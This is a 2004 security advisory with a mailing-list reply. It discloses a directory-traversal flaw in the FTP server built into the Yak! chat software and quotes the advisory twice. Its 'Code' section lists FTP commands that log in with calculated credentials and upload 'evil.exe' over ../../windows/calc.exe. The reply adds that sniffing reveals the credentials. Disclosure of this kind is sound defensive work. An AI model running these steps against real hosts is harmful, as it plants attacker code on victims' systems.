Onderwerp: Directory traversal in Yak! 2.1.2

################################################## #####################

Luigi Auriemma

Application: Yak!
http://www.digicraft.com.au/yak/
Versions: <= 2.1.2
Platforms: Windows
Bug: directory traversal (upload)
Exploitation: remote
Date: 15 October 2004
Author: Luigi Auriemma
e-mail: aluigi@altervista.org
web: http://aluigi.altervista.org


################################################## #####################


1) Introduction
2) Bug
3) The Code
4) Fix


################################################## #####################

===============
1) Introduction
===============


Yak! is a serverless chat system for Windows that lets people to chat
and to exchange files.


################################################## #####################

======
2) Bug
======


When the program starts it creates an username and password for each
IP address of the computer's network interfaces.
These login informations are needed to grant the access to the built-in
FTP server (used only to receive files) to other Yak! hosts.

The problem is just in this FTP server because the input of the clients
is not filtered so is possible to upload files everywhere in the disk
on which is located the upload directory of Yak! (by default the system's
temporary folder) overwriting those existent.

Naturally is also possible to see any remote directory and file (but
seems only c: can be surfed also if the upload folder is set on another
disk) while download is avoided by the program because it has been
designed to receive files only.


################################################## #####################

===========
3) The Code
===========


Do the following operations:

Download my "Yak! username and password calculator"
http://aluigi.altervista.org/papers/yakcalc.zip to retrieve the
username and password to access to the FTP server of a specific Yak!
host.

Then connect to the Yak! FTP port, usually 3535:

C:\>ftp
ftp> open HOST 3535

Enter the calculated username and password and upload your files like
in the following example:

dir /
dir ../../windows/

put
evil.exe
../../windows/calc.exe

(slash and backslash have the same effect)


################################################## #####################

======
4) Fix
======


No fix.
Vendor has been contacted exactly one month ago but no patch is
available.


################################################## #####################


---
Luigi Auriemma
http://aluigi.altervista.org

In-Reply-To: <20041015193318.3257e4eb.aluigi@autistici.org>

================================================== =========================
in a previous post i reported this issue.
http://www.securityfocus.com/bid/8581/
http://cert.uni-stuttgart.de/archive.../msg00222.html

i'm NOT sure if the PUT commands works perfectly. coz with the versions i played with, i couldnt upload files succesfully

and a password calculator is'nt required to know the passwords. just a little sniffer would reveal the username and password clearly.
================================================== =========================


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>Date: Fri, 15 Oct 2004 19:33:18 +0000
>From: Luigi Auriemma <aluigi@autistici.org>
>To: bugtraq@securityfocus.com, bugs@securitytracker.com,
> news@securiteam.com, full-disclosure@lists.netsys.com,
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>Subject: Directory traversal in Yak! 2.1.2
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>
>################################################# ######################
>
> Luigi Auriemma
>
>Application: Yak!
> http://www.digicraft.com.au/yak/
>Versions: <= 2.1.2
>Platforms: Windows
>Bug: directory traversal (upload)
>Exploitation: remote
>Date: 15 October 2004
>Author: Luigi Auriemma
> e-mail: aluigi@altervista.org
> web: http://aluigi.altervista.org
>
>
>################################################# ######################
>
>
>1) Introduction
>2) Bug
>3) The Code
>4) Fix
>
>
>################################################# ######################
>
>===============
>1) Introduction
>===============
>
>
>Yak! is a serverless chat system for Windows that lets people to chat
>and to exchange files.
>
>
>################################################# ######################
>
>======
>2) Bug
>======
>
>
>When the program starts it creates an username and password for each
>IP address of the computer's network interfaces.
>These login informations are needed to grant the access to the built-in
>FTP server (used only to receive files) to other Yak! hosts.
>
>The problem is just in this FTP server because the input of the clients
>is not filtered so is possible to upload files everywhere in the disk
>on which is located the upload directory of Yak! (by default the system's
>temporary folder) overwriting those existent.
>
>Naturally is also possible to see any remote directory and file (but
>seems only c: can be surfed also if the upload folder is set on another
>disk) while download is avoided by the program because it has been
>designed to receive files only.
>
>
>################################################# ######################
>
>===========
>3) The Code
>===========
>
>
>Do the following operations:
>
>Download my "Yak! username and password calculator"
>http://aluigi.altervista.org/papers/yakcalc.zip to retrieve the
>username and password to access to the FTP server of a specific Yak!
>host.
>
>Then connect to the Yak! FTP port, usually 3535:
>
> C:\>ftp
> ftp> open HOST 3535
>
>Enter the calculated username and password and upload your files like
>in the following example:
>
> dir /
> dir ../../windows/
>
> put
> evil.exe
> ../../windows/calc.exe
>
>(slash and backslash have the same effect)
>
>
>################################################# ######################
>
>======
>4) Fix
>======
>
>
>No fix.
>Vendor has been contacted exactly one month ago but no patch is
>available.
>
>
>################################################# ######################
>
>
>---
>Luigi Auriemma
>http://aluigi.altervista.org
>
>